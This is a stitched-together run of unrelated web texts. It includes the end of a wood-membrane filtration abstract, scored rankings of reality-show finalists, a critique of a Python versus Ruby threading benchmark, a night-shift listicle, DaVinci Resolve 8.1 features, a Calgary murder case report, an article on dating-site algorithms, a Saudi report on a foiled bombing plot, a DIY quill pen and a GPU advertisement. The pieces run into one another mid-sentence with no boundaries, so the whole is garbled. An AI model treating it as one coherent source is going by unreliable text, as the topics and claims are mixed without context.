literature. The water treatment rate of the 3D Pd NPs/wood membrane can reach 1 × 105 L·m–2·h–1 with a high MB removal efficiency (>99.8%). The 3D mesoporous wood membrane with partially aligned channels exhibits promising results for wastewater treatment and is applicable for an even wider range of separation applications.The final is upon us, and I will be scoring from 1-10, how ready each person currently in the final is ready for it, and we will use 8 categories, to score it out of 80.
#1 Experience
CT: 9.5/10
This is CT’s 12th season on the Challenge, this is his 6th final ever, he has more mental and physical experience than anyone else left in the game by far. I fully expect CT to destroy this final, but the only reason he does not get a perfect 10 is due to the fact he has not run a final since 2013.
Cory: 2.5/10
It is true that Cory has run a final in the past. He and his cousin finished in 2nd place on the Bloodlines final, where it seemed like a battle between his and Jenna’s team for 3rd.
Nelson: 0/10
If you have never been in a final, you’re about to be punched in the face.
Camila: 7/10
Camila won the Exes 1 final, one of the most grueling finals in Challenge history, however it has been 6 years since then, and since 2013 when she’s been to a final. Even then, her Rivals 2 final was cut short. It’s been a while for Camila, but she definitely has the experience over the other girls.
Nicole/Ashley: 0/10
First time here, let’s see what they have in them.
#2 Endurance
CT: 8/10
He’s not in peak CT shape obviously. Then again, he is CT. He has been breathing heavy a lot on this season. Like an older athlete, CT has played himself into game shape all season.
Nelson: 7/10
Say what you will about Nelson being lame or dumb, I have not seen him give up much this season. He’s one of those dudes that will run at a wall until his bones are broken.
Cory: 4/10
He got winded hiking a few miles in his elimination against Theo. Flop.
Camila: 8/10
She has never been in Paula type shape when it comes to running, she’s always been solid though. This season she has come into the Challenge with the best shape of her life, and she looks fit to run a final.
Nicole: 6/10
She did track in high school, however it has been quite a bit of time since then, and she’s added quite a bit of mass. She trains for body building, not for marathons.
Ashley: 6/10
I’m not entirely sure that Ashley has enough in her body a strength point of view in terms of endurance. She does spend most of her training time doing cardio.
#3 Swim /Water Athletics
CT: 10/10
After Wes and Tyler, CT is the 3rd best swimmer in Challenge history? Is there anyone I’m forgetting.
Cory: 3/10
Cory has been lucky to not get a ton of swimming missions during his time on the Challenge. He’s semi-competent, not good. He and his cousin did meh on the kayaking during the Bloodlines final.
Nelson: 1.5/10
Swimming is not looking too good for Nelson.
Camila: 9/10
Maybe it came from her time on Brazilian beaches, but Camila has been a top female swimmer on many seasons.
Nicole: 5/10
Not sure. Not bad?
Ashley: 5.5/10
Ashley has always been competent in the more extreme types of events.
#4 Mental Endurance
CT: 10/10
While he is older, he is more likely to give up due to physical endurance and years of smoking than anything mental. After already dying on the Exes 1 final, CT understands the value of pacing himself and as a dad, he understands the value of 100,000 dollars.
Nelson: 8/10
As dopey as Nelson gets when he is drunk, he does not quit when it comes to these things. He fails quite often, but often pushes himself to never stop.
Cory: 5/10
Top tier excuse maker for when he is not winning.
Camila: 7.5/10
She’s a whirlwind of emotions.
Nicole: 6.5/10
Nicole gets quite angry and frustrated when certain things do not go her way. If she can’t physically break something open to get the job done, she struggles.
Ashley: 3.5/10
Her nickname is paranoid Pam for a reason.
#5 Mental Ability
CT: 8.5/10
The last final CT was on was Rivals 2, he destroyed all the puzzles in the final.In the final elimination, he used his brain to beat Darrell, and for some reason, his experience in real estate and carpentry the past few years has made me to believe he is improved his problem solving sense.
Nelson and Cory: 1/10
Nelson is dumber than Cory, though he has a real job, while Cory is a “model personal trainer”. Both get a 1.
Camila: 7.5/10
She has seen many puzzles in her 7 year Challenge career. She tends to be very hit or miss when it comes to puzzles, usually doing well in most puzzles.
Nicole: 2/10
Her brain is not her best muscle.
Ashley: 8.5/10
Word on the street is that Ashley has an actual college education and had a family that put her in good schooling. She’s kinda crazy, but it comes with some intelligence.
#6 Strength
CT: 10/10
Yeah.
Nelson: 8/10
Dude is in superb shape. Not sure he’d win a fight, he lifts though.
Cory: 6.5/10
His popcorn muscles are very sketch.
Camila: 6.5/10
In her many seasons, Camila has shown to be powerful for her size. She just doesn’t have super brute force.
Nicole: 9/10
This is her category. Her life is all about the gains. We saw her pull in two girls during the tug of war, so when it comes to carrying weight, she will be ready.
Ashley: 4/10
Small girl. Decent core strength, but if she has to carry a ton of weight, I am not liking her chances a lot.
#7 Communication
CT: 9/10
If you look back at CT’s history with partners, he gets out the best of a lot of people. Only time he does not do well is when he gets angry and yells a bit.
Nelson: 7/10
While he does not seem good with words, Nelson seems very supportive as a person.
Cory: 6/10
Just like Zach, Cory loves to have any excuse that does not include blame himself. He was a good with partner with Ashley & Mitch, but his attitude this season has been atrocious.
Camila: 3/10
When Camila gets a partner, you better listen to Camila, even if she is wrong.
Nicole: 5/10
None of the points where she had to partner up with someone this season were actually good.
Ashley: 7/10
She loves to butter the biscuits of her partners.
#8 Eating
CT: 10/10
CT on Exes 2: “I destroy eating Challenges.”
Nelson: 2/10
Was not the worst on the eating challenge this season.
Cory: 1.5/10
Struggled mightily on the eating portion of the Bloodlines final.
Camila: 9/10
Has had a lot of experience over the years eating gross shit.
Nicole and Ashley: 1/10
Both could not hang eating spicy curry. Curry is delicious.
Total Scores
CT: 75/80
Nelson: 33.5/80
Cory 29.5/80
Camila: 57.5/80
Ashley: 35.5/80
Nicole: 34.5/80Not sure why I’m spending the time on this problem, but it looked interesting. For starters read a Hacker’s News article that mentioned Python vs. Ruby performance, which in turned liked to a polish blog post.
The core of the blog post was this:
20 threads * 100,000 iterations Ruby 1.9 = 1.54 s. Ruby Enterprise = 3.01 s. JRuby 1.1.2 = 5.82 s. Jython 2.2.1 = 11.86 s. Python 2.5.2 = 12.32 s. Ruby 1.8.7 = 22.68 s.
Which is totally amazing for a performance improvement stand point, but in digging further the original code is:
from time import time from random import Random from threading import Thread rand = Random(). randint # alias class Test (Thread): def __init__ (self): Thread. __init__(self) print "Starting %s " % self. getName() def run (self): a = [rand( 0,SIZE) for x in xrange (SIZE)] a. sort() print " %s finished" % self. getName() print "Start" start = time() THREADS, SIZE = 20, 100000 threads = [] for i in xrange (THREADS): t = Test() threads. append(t) t. start() while True in [t. isAlive() for t in threads]: pass print "Time: %s s" % (time() - start)
The first observation is that (unlike the ruby version) the python version has the overhead of a busy wait on the threads, so with than tiny fix (reduced runtime by 1 second)
for t in threads : if t. isAlive() : t. join()
Time: 17.6256890297 s
Doing a quick decomposition of this, we really have a program that’s doing the following
from time import time from random import Random rand = Random(). randint # alias THREADS, SIZE = 20, 100000 print "Start" start = time() for t in xrange (THREADS) : a = [rand( 0,SIZE) for x in xrange (SIZE)] a. sort() print "Time: %s s" % (time() - start)
Time: 14.3786399364 s
Not getting into numbers, but this executes in almost the same time as the threaded version… Hmm, so is the ruby version really all about “Threading Performance”? Can’t be, has to be either in the random or the loop… Lets look further.
from time import time from random import Random rand = Random(). randint # alias THREADS, SIZE = 20, 100000 print "Start" start = time() for t in xrange (THREADS) : for x in xrange (SIZE) : rand( 0,SIZE) print "Time: %s s" % (time() - start)
Time: 10.9540541172 s
There we have it, the rand() is taking 70% of the total time, while it does appear that the array append overhead is still 30% (~4 seconds) it’s at least useful to notice that there’s nothing that possible to improve it beyond this point.
Conclusion: Ruby might be faster, but to mix up a bunch of performance stats with threading is going to be problematic.
Update: In digging deeper python’s random number generator is written in python, thus of course it’s slow… It’s competing against a C version.Here to work and serve your fellow night owls is where you earn your living. It has been shown in studies that night shift patterns can cause major health concerns including type 2 diabetes and heart attacks - but alas, you can't see yourself getting out of the night shift way of life anytime soon. You are completely out of sync with a normal day but there are some fortunate advantages; doctors appointments during off-peak times, no congestion travelling between work and home, chance for more pay as an apology for your body clock being turned into an absolute wreck.
The most frustrating fact is trying to explain to those who are accustomed to getting up bright and early about all the trials and tribulations you have to go through when it comes to night work. I mean it's not as if you chose this erratic sleeping pattern was it?
Here are 12 of the biggest problems night shift workers have to face at work...
12. Everyone Thinking You Are Lazy Because Its The Afternoon And Youre Still In Bed
I can not believe you are still in bed at this time!, youve heard it a hundred times before. Your shift finished at 4am and including the commute home you only got back into bed two hours ago but all the day-breakers want you to be up seizing the day and joining the rest of society. Forget it, you wont be out and about until its at least the early evening.
11. Feeling As If You Live In A Post Apocalyptic World
The streets are empty, theres no cars on the roads and you cant see another form of human life for miles. Is this night shift work or a scene out of 28 Days Later? At first you thought this was an absolute luxury being able to get off late and head home quick but now its beginning to dawn on you that youve forgotten how your own city use to feel.
10. Your Social Circle Is Other Night Workers
The only people you really get to interact with is everyone else on the night shift. Can you even remember all your old buddies? They are out in the evening (youre working) or trying to call you throughout the day to make plans (youre sleeping) and it begins to feel like distant days since you last caught up. When you clock out the only other people you can find who arent tucked up in bed and have a bit of life left in them are your co-workers - guess youre stuck with this lot then.About two weeks ago, a resident in St. Paul spotted an odd visitor at her hummingbird feeder. It was a rufous hummingbird, a species that spends its summers in the Pacific Northwest and its winters in Mexico. Minnesota, experts say, is rarely on its list of pit stops.
With heavy snow predicted for the following week, the woman was concerned enough to net the bird and contact a local wildlife rehab center, as CBS Minnesota reports. She also posted the little guy's photo on Facebook.
Almost immediately after going up on social media, CBS continues, the hummingbird began receiving a lot of attention. Some people thought the woman shouldn't have netted the bird and just let it go on its way; others wanted to help. The wildlife rehab center began "getting calls from all over the country," CBS writes.
Last Sunday, the situation was resolved when an anonymous bird lover agreed to take the lost rufous on a private jet ride to Texas, the Star Tribune reports. (The plane was headed to Austin, anyway.) Down South, rehab staff collected the bird, ensured it was in good condition and released it.
Experts say the bird shouldn't have any trouble getting back on course to Mexico. As the Minnesota rehabbers told the Star Tribune, "“We are delighted that the rufous hummingbird is free in the wild and able to decide when and where he goes on life’s journey.”
As for what others who find themselves in similar situations should do, it really just depends on the circumstances, the Star Tribune says. It's unlikely that the hummingbird would have survived a Minnesota snowstorm. But had November temperatures been a bit more mild, it very well could have found its way down to Mexico on its own two wings.It seems like just yesterday that DaVinci released version 8.0.1 with its new color balance control interface, and DaVinci Lite, a free 2-node and HD-limited version. But, not content to rest on their laurels, DaVinci has eliminated a decimal place and announced DaVinci Resolve 8.1, with even more feature enhancements. Most are subtle, but welcome additions to a variety of users.
Top of the list is is enhanced AAF round trip support. A new Format popup in the Export Session dialog (that appears when you click the Export button in the Conform page) lets you choose whether to export XML or AAF (previously it only expoted XML). Choosing AAF generates a file for Media Composer that can be directly relinked to the media you output from Resolve.
Furthermore, when importing AAF files, Resolve now reads a variety of video transitions (dip to color, wipes, and iris transitions), composite modes, and transform parameters into your session. This will be welcome news for colorists wanting greater effects fidelity from project import.
Incidentally, transforms from Final Cut Pro (Position, Rotation, Scale) are now imported from XML projects, allowing you to render these effects using Resolve’s superior transform algorithms.
For those of you using EDLs day in and day out, a new contextual menu command–available from the Conform page’s Timeline–lets you load an EDL directly to a new track. If you’re the kind of person who needs this, you’ve just now come up with three different ways you’ll use this feature.
Next up is support for the new ACES “Academy Color Encoding Specification” standard. While comparatively few facilities need ACES right this second, it’s becoming clear that ACES is the future of media exchange in post, and DaVinci is being foward-looking by its inclusion. ACES support can be seen initially as a new option in the “Color Science Is” popup of the Project tab.
With “DaVinci ACES” selected, two new popups appear in the LUTS tab, which allow you to choose an Input Device Transform (a characterization of the source camera), and an Output Device Transform (a characterization of the target display or projector).
Finally, contextual menu item available from the thumbnails within the Browse and Color pages allow you to redefine the Input Device Transform on a per-clip basis, in cases where you’re mixing media from different cameras.
While we’re looking at per-clip options, a new contextual menu item for clips in the Media Pool lets you redefine the individual Data Level of clips. In previous versions of Resolve, the Data Level was a project-wide setting that determined which digital values in your source media mapped to the minimum and maximum levels in Resolve. In a nutshell, Y’CbCr source media typically used the “Normally Scaled Legal Video” setting, while RGB source media (think film scans) used the “Unscaled Full Range Data” setting.
However, you were in trouble if you had a mix of both kinds of media. Now, you can use this Media Pool submenu command to individually redefine clip data ranges in this situation.
If you’re still working with DVCPRO HD media (I continue to have documentaries coming in using this format), you’ll be pleased to know that DaVinci has finally added the DVCPRO HD pixel aspect ratio to the PAR dialog box.
Now, all these workflow features are nice and all, but there are also some solid additions for grading and effects. For example, if you hover your mouse over a node in the node graph, a tooltip appears showing you what adjustments have been made within that node, giving you an organizational heads-up.
Not impressed yet? Well, the Layer node, which until now simply combined multiple input nodes according to order and opacity (set via the Key tab’s Post Mixing Gain slider), now lets you choose a composite mode to use to combine all of the inputs. Now all you composite mode junkies can go nuts right from within the Node Graph.
Another valuable little feature is the ability to copy one node’s settings (select the node and press Command-C), and paste them into another existing node in another shot (select another node, press Command-V. Along with all dynamics (marks, or keyframes, whichever you prefer to call them). This is similar to Final Cut Pro’s “Paste Attributes” command, except without any options, you simply copy and paste all settings at once.
Lastly, 8.1 continues to refine the use of the Timeline in the Conform page, enabling you to copy and paste clips in the Timeline of the Conform page. Select a clip, press Command-C, and then move the playhead and click a track number button to determine where the pasted clip should go, and press Command-V. It’s the little things, right?
So those were the features that grabbed my eye. There’s more to the release, but honestly, those engineers deserve a break. And a beer.
Color Correction Handbook 2nd Edition: Grading theory and technique for any application.
Color Correction Look Book: Stylized and creative grading techniques for any application.
What's New in DaVinci Resolve 15: Covering every new feature in Resolve 15 from Ripple Training.
DaVinci Resolve Tutorials: Far ranging DaVinci Resolve instruction from Ripple Training.Police say they do not need help from civilian teams in conducting the search for Nathan O'Brien and his grandparents, who have been missing for more than two weeks.
In a news release put out Thursday afternoon, the Calgary Police Service says while they are grateful for the overwhelming community support of the investigation, they currently have a 30-day search plan in effect which cannot be shared outside of law enforcement.
Police say they are "systematically searching locations that have a high likelihood of locating evidence... If the investigation reaches a point where public assistance is required, we will reach out."
On Tuesday, a civilian effort was launched to search through rural fields for clues in the suspected killings of five-year-old Nathan O'Brien and his grandparents, Kathy and Alvin Liknes.
After questions about whether it could continue on Wednesday, the civilian search was called off and the Facebook site for the event was taken down due to negative backlash on the site.
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The group says they were being targeted online by people questioning their motives for searching and alleging that they were interfering with the police investigation.
However, while the official civilian search had been called off, a few people who had shown up to take part left after the announcement and headed out to do their own search.
"They need you, they need me, they need everybody here," said Martina Payne-Swagar, one of the people who decided to go out searching anyway.
"They need every single one of us to stand up and say, 'We have family. We have friends.' We may not know them, but if it was my family or my family member, I would want everybody to be there to help me.'"
Dozens of people divided themselves into groups and combed through nearby fields on Wednesday night.
Kevin Brookwell with Calgary police says he understands that people want to help, but questioned the usefulness of the search.
"These folks — God bless them — they've got hearts of gold, and they're giving of their time to come out and search but it's a bit of a blind search. They don't know what they're looking for," he said.
Court appearance
Earlier Wednesday, the family of the presumed victims said they appreciate the abundance of community support they have received over the past two weeks.
"It's incredibly sad, but it helps," said Alvin Liknes's son Allen.
He was in a Calgary courtroom Wednesday for the first appearance of Douglas Garland, who has been charged with three counts of murder in connection with the disappearance of the five-year-old and his grandparents.
The three were last seen by family on June 29, and police believe they have been murdered, even though their remains have not been found.
Garland is facing two counts of first-degree murder in the deaths of the couple and a second-degree murder charge in the death of Nathan.
The 54-year-old wore a blue jail jumpsuit for his court date and appeared via video link in front of a packed public gallery. He stood almost motionless against the wall with his hands behind his back.
Douglas Garland, 54, has been charged with one count of second-degree murder in the death of five-year-old Nathan O'Brien and two counts of first-degree murder linked to the deaths of the boy's grandparents. (CBC)
The case has been adjourned to Aug. 14 because Crown prosecutors are still waiting for police disclosure.
Crown prosecutor Shane Parker says it normally takes 30 days for disclosure in a major crime — especially one that involved a homicide and missing persons investigation.
"It is a little challenging in this case because of the speed of the investigation," he said.
Police have not disclosed what they think motivated the killings, but it's been previously reported that Garland has connections to the Liknes family.
CBC News discovered that Garland and Alvin Liknes were involved in a patent dispute and that there was "bad blood" between them because of business dealings that had gone sour.
Family connections
Garland's sister, Patti, is in a common-law relationship with Allen Liknes. He said she is "not good," but the vigils and search parties over the past week are really helping family members cope.
"The family has taken strength from it," he told reporters at the courthouse.
Relatives, neighbours and friends gathered at a park across the street from the O'Brien home on Tuesday night for a release of balloons as a tribute to Nathan and the Likneses.
Nathan O'Brien, centre, and his grandparents, Kathy and Alvin Liknes, have not been seen since Nathan's mom left the Liknes' home on June 29. (Calgary Police Service)
Family members said on Monday that they still hold out hope they may still be alive.
Despite the civilian search being called off, police Chief Rick Hanson told CBC's As it Happens that Calgary officials appreciate local residents to still be on the lookout for anything suspicious.
"We've encouraged everyone to have a look in those areas that they're familiar with," he said.
"In cases like this, when you have huge tracts of land that could have been the spot where the bodies were left, any help at all from people who can just check their properties would be appreciated. Even being aware that we're still looking to gather any evidence and anything that's out of the ordinary, people should let us know."
Even without bodies, police said the murder charges were laid because of the amount of evidence they have against Garland.
"We are putting a very complex case before the courts," Hanson said Monday.
While there is no "single smoking gun," he said investigators are confident with the evidence. DNA samples were collected from the Liknes home where police say a violent crime took place.
Crown confident in its case
The Crown says it's confident in its case against Garland even though the remains of the three have not been recovered.
"We've done it before and we'll do it again," Parker told reporters Wednesday. "It's obviously a little more challenging because bodies provide a whole lot of evidence for the jury, they provide a whole lot of evidence from a forensic standpoint, normally, for the police."
Crown prosecutor Shane Parker speaks to the media after attending Douglas Garland's first court appearance in the disappearance of Nathan O'Brien and his grandparents, Alvin and Kathryn Liknes, in Calgary. (Jeff McIntosh/Canadian Press)
Parker said even though Garland has been charged, the investigation into the murders will continue.
"We still have time," he said. "We're still hopeful that the police will continue on with their searches. I think the chief of police has already given that commitment. The investigators are certainly working tirelessly to continue the investigation — not only the bodies but other evidence as well."
There has been a massive round-the-clock search for the trio involving more than 200 police officers. Police have also followed up on more than 900 tips from the public.
Parker said the investigation has focused on the Likneses' home, which is located in the southwest Calgary community of Parkhill, and the Garland family home in a rural area north of the city. But he says other evidence has come in with the help of the "good people of Calgary doing their civic duty."
"I would encourage people to continue to [submit tips to police]," said Parker. "Because we are getting evidence from a number of different sources, and that's encouraging from a community standpoint."
Garland to remain in custody
Defence lawyer Kim Ross says he has only spoken to his client very briefly.
"He's not saying anything," said Ross.
Defence lawyer Kim Ross speaks to the media about his client Douglas Garland's first court appearance in the disappearance of Nathan O'Brien and his grandparents, Alvin and Kathy Liknes, in Calgary. (Jeff McIntosh/Canadian Press)
"I just informed Mr. Garland what was going to happen in court this morning — that it was just simply going to go over, that we need to get this disclosure and that was it."
Ross says he will wait for disclosure to decide whether to seek bail — meaning Garland will remain in custody until Aug. 14.
Garland was arrested early Monday in a field near his home at the acreage under investigation at 1:30 a.m. MT — a property belonging to his parents that has been at the centre of the police investigation for more than a week.
He was out on bail on an unrelated charge of identity theft, and police said he broke the conditions of his release by being in the field at night.
The acreage was the site of police investigation in 1992 that led to charges of drug trafficking and possession of stolen property after Garland was caught making amphetamines.
A document from the Tax Court of Canada indicates Garland was later discovered living under the stolen identity of a deceased 14-year-old car crash victim from Cardston, Alta.Some of our links are affiliated, we will earn a commission when you buy a service or product. This will have no extra cost for you. For further info please refer to our Privacy Policy
How Much Does it Cost to Travel in Spain? I´m sure it costs less than you imagine and a little more than you want to spend! So let´s talk about money and how to make the most of your travels without going bankrupt. Welcome to the Spanish edition of “How Much does it cost to Travel ”, where we breakdown our costs and share some of our travel secrets.
Last editions we broke down our expenses and proved that Portugal is one of the cheapest destination in Europe and also that Philippines is an affordable paradise. Now the task is a little bit more complicated. Spain is not as cheap as Portugal and has a disadvantage of having lots of good parties. What is really tempting to us and also a money drainer!
Before we start talking about how much does it cost to travel in Spain, let me explain that our travel plan is to stick to a budget of $50 usd per day per person. If you are not familiar with our travel budget plan, have a look at this awesome book: How to Travel the Word for $50 per day by Nomadic Matt. You will understand how is easy and possible to travel on a shoestring.
Spain was the second country we explored in our Love and Road Project. We have already travelled there before, as tourists, not as nomads and travel bloggers. And that’s a completely different way to approach the cities and collect information. |
29 dimensions.” Similarly, Chemistry, a “premium offering” from Match, employs a pairing scheme developed by Helen Fisher. A biological anthropologist, Fisher has identified four personality types associated with particular brain chemistries, which she believes influence whom we like and fall in love with.
Finkel would tell you this is all a lot of hype. In a 2012 paper in the journal Psychological Science, he and his colleagues took Chemistry and its kin to task for failing to produce convincing scientific evidence that their matching algorithms make better matches. What’s more, the researchers argue, any algorithm based on individual traits is unlikely to predict romantic success. “We asked ourselves: ‘Could we even in principle imagine an algorithm that would actually work?’ ” Finkel says. “And we said ‘no.’ ”
One big reason, according to their review of published research, is that comparing two people’s personal qualities reveals little about how happy they will be together. Most matching sites pair users largely on the basis of similarity: Do they share values, lifestyles, experiences, passions, and temperaments? The assumption is that the more alike they are, the more likely they will get along. But clearly there are exceptions. “If you are an anxious, depressed, or insecure person, you have a hard time with anyone,” says Arthur Aron, a social psychologist at Stony Brook University. “Two people like that do even worse.”
More important, says Finkel, there is scant evidence that similarities, particularly in personality traits, have much bearing on compatibility. In an analysis of nationally representative samples of more than 23,000 people in Australia, Germany, and the United Kingdom, similarity between partners’ personalities predicted 0.5 percent of how satisfied they were in the relationship. “Half of 1 percent is pretty meager when companies are promising you your soul mate,” Finkel says.
If similarity isn’t a useful gauge of compatibility, then complementarity fares even worse. In 1958, the sociologist Robert Winch theorized that we are drawn to people who have qualities we value but lack in ourselves. The idea is appealing. Fisher, for instance, believes that two very different personality types—“Directors” (“analytical, direct, tough-minded, decisive, and emotionally contained”) and “Negotiators” (“imaginative, broad-minded, agreeable, and compassionate”)—make good matches. But beyond her own surveys of Chemistry users, proof of Winch’s hypothesis has been hard to come by. Studies consistently show that introverts aren’t always happier with extroverts. Nor does satisfaction depend on complementary attitudes, interests, spending habits, or gender roles.
Most relationship researchers agree that a lot more than personality determines whether two people will get together, or whether a relationship will last. “No questionnaire can do more than give you a group of people to look at,” Fisher says. “Nobody knows your childhood; nobody knows everything you’re looking for—your love map.” Also important, Aron says, are “the circumstances in which [two people] meet, what their family and friends think, and their actions at initial meetings.” And don’t forget the quality of their interactions, Finkel adds—how they communicate, resolve problems, and cope with stressors such as losing a job or having a baby.
Perhaps recognizing this complexity, the latest generation of dating sites—Tinder and its imitators—have abandoned elaborate algorithms and questionnaires for a simple recipe: location plus looks. “You don’t have to browse profiles to determine if this is your Prince Charming,” Finkel says. “It’s just: Does this person look cute, and do you want to get a beer?”
But while Finkel applauds the third-generation sites for their ease and transparency, he has his sights set on something better.
Finkel’s proposal for a fourth generation of dating sites centers on what sociologists call “dyadic” interactions—how two people relate to one another. The technologies that will enable this vision, he points out, are fast maturing.
For instance, programs that deduce emotion from facial expressions are already employed in sports competitions (to assess cooperation), political campaigns (to test voter reactions), and advertising (to gauge consumer response). And engineers expect that speech-recognition software like Apple’s Siri will soon be able to transcribe at conversation speed. William Freeman, a professor of computer science at the Massachusetts Institute of Technology, and his colleagues created software that uses video imaging to observe subtle physiological changes. By amplifying a man’s blush, for example, they can measure his heartbeat. If two people are into each other, Finkel wonders, would their hearts literally “start beating as one?”
Beyond predicting initial attraction, he suspects, an app that tracks dyadic interactions could help daters judge a relationship’s long-term potential. “There are signals that are beyond your own personal access but that predict something meaningful about your level of likely compatibility with someone,” he says. In their study of language-style matching, for instance, Finkel’s team analyzed instant-messaging conversations between 86 couples who had been dating for an average of 15 months. When the researchers checked back in with the couples three months later, those with low LSM scores were more likely to have broken up. Other studies suggest that spouses who speak defensively, are emotionally withdrawn, or use you more often than we, have higher divorce rates.
On the flip side, happy couples intuitively find themselves on the same page. They compliment each other, listen attentively, and share mannerisms, gestures, postures, and language styles. And the more they’re in sync, the stronger their bond grows. “We are attracted to people more when they mimic us,” explains Tanya Chartrand, a professor of psychology and neuroscience at Duke University who specializes in behavior mimicry. “We like them more, empathize with them more, help them more when they need it, and generally become more pro-social in our attitudes and behavior.”
If a dating app can recognize this harmony in a few-minute video conversation, maybe it could save us from wading into a troubled relationship, or even just a bad first date. Maybe it could help us learn to be better partners ourselves.
Finkel acknowledges there are limits to this approach. After all, he points out, W and M—the well-matched couple from the speed-dating study—never did get together. “I don’t think there’s ever going to be an algorithm that will find your soul mate,” he says. “If you want to date, just accept that you’re going to kiss frogs—or at least go out on dates with frogs.” He would be satisfied, he says, if “we could increase the second-date rate by 5 percent, or increase the amount that people enjoyed the first date by 5 percent, or increase the number of first dates that lead to marriages by 1 percent—these are realistic goals.”
Other relationship experts are similarly wary of making grand predictions about a technology that doesn’t yet exist. But they welcome the effort. “People today are so frustrated, burned out, and depressed from dating disasters—they would be thrilled to find a better system,” says Pepper Schwartz, a sociologist at the University of Washington who developed the algorithm for (now-defunct) PerfectMatch. “If Finkel has found a way to help people find true compatibility, well, more power to him.”
Julia M. Klein, a cultural reporter and critic in Philadelphia, is a contributing editor at Columbia Journalism Review and a contributing book critic for The Forward. Follow her on Twitter @JuliaMKlein.Here are your Banter Cartoons for October, 2014! I hope the different colored borders isn't too confusing or distracting to the eye, let me know if it is and we'll go back to black. I just have a style with a lot of thick black outlines and it doesn't work comfortably with black borders in comic strips. These are things that keep me up at night. What keeps you up at night? Worrying about a black-eyed demon child with jagged tree branches for hands that constantly whispers, "Hungry..." and perpetually stalks you in the hallways of your comfortable apartment/suburban home? No? Something else? Please, do share.
Anyways, it's cartoons time. Or comic strip time. But I like saying cartoons time more, so deal with it.
"This Explains Everything"
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"AV's Phone."
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Oh, and here's another oldie from the Blueshirts Monthly newsletter that hasn't been dated by the roster changing and still makes me smile.
"And McDonagh Was Still Faster Than Girardi."
That's it for October girls and guys, hope you enjoyed this month's installment of Banter Cartoons (I think it's too late to find a better name at this point, but if you have one, send it my way). Let me know what you think in the comments and all that good stuff.
Let's go Rangers.Saudi Arabia has said that attempts by ISIS militants to attack the defense ministry have been foiled, the kingdom's Presidency of State Security confirmed to Al Arabiya News Channel on Monday.
Two Yemeni nationals named Ahmed Yasser al-Kaldi and Ammar Ali Mohammed were arrested for plotting attacks targeting two headquarters of the Ministry of Defense in Riyadh.
Below is a full translated statement from the Presidency of State Security regarding the ongoing investigation into the plots:
First: The arrest of the suicide bombers, Ahmed Yaser al-Kaldi and Ammar Ali Muhammad, before they reached the target location, neutralizing their danger and controlling them by the security men. The initial investigations revealed that they were of Yemeni nationality and their names differed from those recorded by the identity evidence that was seized.
Two other Saudi nationals were also arrested and their relationship with the above-mentioned suicide bombers was confirmed who tried to provide assistance. The investigation's interest would require anonymity at the moment.
Two explosive belts (each weighing 7 kg), and nine homemade grenades, firearms and white weapons were seized.
Second: Two explosive belts (each weighing 7 kg), and nine homemade grenades, firearms and white weapons were seized.
Third: Raid conducted on a safe house in Al-Rimal neighborhood of Riyadh where a suicide bomber was trained at in how to wear explosive belts using them during an attack.
Raid conducted on a safe house in Al-Rimal neighborhood of Riyadh.
The investigations into the plots are continuing in this case and the detainees are being held to cover all the details of this terrorist plot. More will be announced at a later time.
Last Update: Tuesday, 12 September 2017 KSA 01:04 - GMT 22:04In the world of internet and cell phone communication, information and feelings are shared quickly and impulsively. I prefer face-to-face communication to the phone or email, but I’ve had several good friends move away over the past year. Writing a letter to a friend requires a sacrifice of your time and requires you to really slow down and think about what you want to say. Plus, receiving a letter in the mail is so exciting! Why not initiate a pen pal communication line by sending a special pen-and-paper set in the mail?
This DIY puts a practical ballpoint spin on the traditional quill pin. I purchased white feathers at the craft store and dyed them with RIT. The feathers take color beautifully; I could have done it for hours. You can buy or make your own stationery to match your feathers, or you can print out and use a cute stationery template I created. Enjoy! — Halligan
Materials
computer and printer
paper and envelopes
feathers
short pen ink refills (I found mine at Staples.)
RIT dye
scissors
ruler and X-Acto (if you are using the stationery template)
Instructions
1. If you are using the provided stationery, download the file here. Print out and cut your stationery.
2. Get a pan that you can completely submerge your feathers in. Fill about 3/4″ with hot water and add your RIT dye. The color takes pretty quickly, so if you want a lighter color, act fast and don’t add much dye! Gently rub the feather in spots where dye is reluctant to soak in. Let your feathers dry.
3. Cut off the closed tip of the feather’s end.
4. Cut off the excess plastic tube of the ink refill.
5. Insert refill into the feather. Mine fit snugly and did not need glue; however, if it’s a loose fit, a dab of glue will do the trick.
6. Find a pen pal.Ever since spinning off the Chicago Music Show back in 1967, CES (Consumer Electronics Show) has been a major platform for new products and future tech. Consumer Technology Association, owner and producer of CES, revealed NVIDIA will lead the charge when CES 2017 starts on January 5th, 2017. NVIDIA CEO Jen-Hsun Huang will highlight advancements in autonomous driving, but also speak on virtual reality, gaming, and artificial intelligence during the keynote.
In 2016, NVIDIA appeared at CES with a huge focus on car integration and autonomous driving, introducing the first supercomputer for self-driving vehicles: DRIVE PX 2. They also brought a humorous presence to the tech show, commissioning a crop circle in Salinas, California that ended up being promotion for a new Tegra mobile processor and its “otherworldly capabilities”.
Gary Shapiro, president and CEO of Consumer Technology Association, spoke highly of Jen-Hsun Huang and NVIDIA:
“NVIDIA plays a central role in some of the most important technology forces changing our world today. Its work in artificial intelligence, self-driving cars, VR and gaming puts the company on the leading edge of the industry. Mr. Huang is a visionary CEO who consistently anticipates trends well before their arrival. I am especially pleased to welcome him to the keynote stage given the growth we’ve seen in all of these areas on the CES show floor.”
On their blog, NVIDIA celebrated the announcement with a video that hints at some of Jen-Hsun Huang’s important talking points for this pivotal first keynote: Deep learning, artificial intelligence, self-driving cars, virtual reality, and gaming.
UploadVR was your premiere source VR CES news during the previous event and here are a few highlights from the conference:
Register to attend CES 2017 here. The event takes place January 5th – 7th in Las Vegas, Nevada.
Tagged with: CES 2016, nvidiaPlay The Future
Introducing the EVGA GeForce GTX 980 Ti. Accelerated by the groundbreaking NVIDIA Maxwell architecture, GTX 980 Ti delivers an unbeatable 4K and virtual reality experience. With 2816 NVIDIA CUDA Cores and 6GB of GDDR5 memory, it has the horsepower to drive whatever comes next. In fact, the EVGA GeForce GTX 980 Ti provides 3x the performance and 3x the memory of previous-generation cards*. You can now take on even the most challenging games at high settings for a smooth, ultra high-definition, 4K experience.
These cards also feature EVGA ACX 2.0+ cooling technology. EVGA ACX 2.0+ brings new features to the award winning EVGA ACX 2.0 cooling technology. A memory MOSFET Cooling Plate (MMCP) reduces MOSFET temperatures up to 13%, and optimized Straight Heat Pipes (SHP) additionally reduce GPU temperature by 5C. ACX 2.0+ coolers also feature optimized swept fan blades, double ball bearings and an extreme low power motor, delivering more air flow with less power, unlocking additional power for the GPU.
